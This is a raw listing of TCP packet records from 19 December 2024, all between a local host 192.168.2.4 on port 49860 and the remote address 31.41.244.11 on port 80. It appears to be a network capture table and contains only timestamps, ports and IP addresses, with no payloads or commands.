Dec 19, 2024 06:09:54.005579948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.005608082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.005623102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.005683899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.005683899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.006525993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.006542921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.006655931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.007026911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.007042885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.007061005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.007091045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.007117987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.008125067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.008141041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.008157015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.008179903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.008219957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.008851051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.008867025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.008882999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.009032011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.009676933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.009692907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.009737968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.009752989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.009784937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.010586977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.010601997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.010617971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.010667086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.010668039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.011651039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.011667967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.011683941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.011733055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.011733055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.012372017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.012411118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.012425900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.012480021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.012480021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.013298988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.013315916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.013331890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.013384104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.013384104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.014168024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.014246941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.014261961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.014305115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.015038967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.015053988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.015070915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.015083075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.015126944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.015902042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.015952110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.015969038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.016007900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.016007900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.016789913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.016805887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.016822100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.016834974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.016861916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.016861916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.017709970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.017725945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.017748117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.017779112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.017810106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.018563032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.018609047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.018630028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.018692970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.019526958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.019543886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.019560099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.019598007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.019598007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.020483017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.020498037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.020514965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.020546913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.020546913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.021301985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.021318913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.021336079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.021364927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.021421909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.022152901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.022180080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.022196054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.022241116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.022241116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.023039103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.023121119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.023142099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.023175955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.023175955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.023983955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.023999929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.024017096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.024065018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.024065018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.024817944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.025135040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.025150061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.025165081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.025185108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.025214911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.026052952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.026073933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.026091099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.026125908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.026125908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.026894093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.026909113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.026957989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.026959896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.027792931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.027818918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.027833939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.027847052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.027847052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.027954102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.028805971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.028821945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.028836966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.028848886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.028877974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.028877974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.029570103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.029584885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.029602051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.029624939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.029624939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.029692888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.030468941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.030510902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.030535936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.030555964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.030572891 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.031385899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.031415939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.031430960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.031478882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.031478882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.032293081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.032309055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.032325983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.032372952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.032372952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.033139944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.033155918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.033171892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.033198118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.033446074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.033957958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.034148932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.044699907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.044714928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.044730902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.044770956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.044823885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.045160055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.045176983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.045192957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.045239925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.045239925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.045998096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.046531916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.197217941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.197237968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.197253942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.197330952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.197331905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.197577000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.197602034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.197617054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.197648048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.197674036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.198446035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.198504925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.198637009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.198784113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.198846102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.198864937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.198893070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.198924065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.199721098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.199776888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.199794054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.199821949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.199868917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.200627089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.200644016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.200659990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.200714111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.200714111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.201493025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.201509953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.201530933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.201540947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.201565027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.201610088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.202414036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.202430964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.202447891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.202498913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.202498913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.203284025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.203310013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.203336000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.203341961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.203345060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.203397989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.204205990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.204222918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.204240084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.204262972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.204262972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.204284906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.205092907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.205110073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.205126047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.205152035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.205152035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.205169916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.205951929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.205969095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.205985069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.205998898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.206024885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.206024885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.206830025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.206845045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.206860065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.206875086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.206899881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.206899881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.207679033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.207743883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.207761049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.207809925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.207809925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.208650112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.208673000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.208689928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.208719015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.208779097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.209501028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.209552050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.209567070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.209572077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.209583998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.209628105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.210412025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.210460901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.210477114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.210478067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.210505962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.210550070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.211283922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.211308956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.211328983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.211349964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.211352110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.211424112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.212270021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.212285042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.212302923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.212326050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.212326050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.212343931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.213023901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.213076115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.213082075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.213099957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.213138103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.213138103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.214001894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.214024067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.214041948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.214061975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.214062929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.214116096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.214874029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.214890003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.214905977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.214940071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.214952946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.215756893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.215773106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.215789080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.215814114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.215814114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.215882063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.216666937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.216768026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.216867924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.216908932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.216927052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.216943979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.216980934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.216980934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.217833996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.217850924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.217866898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.217889071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.217889071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.217943907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.218703032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.218744040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.218758106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.218775034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.218800068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.219070911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.219611883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.219722986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.219738960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.219738960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.219777107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.219777107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.220475912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.220532894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.220550060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.220572948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.220572948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.220642090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.221384048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.221400023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.221421957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.221437931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.221438885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.221463919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.222322941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.222338915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.222354889 CET	80	49860	31.41.244.11	192.168.2.4
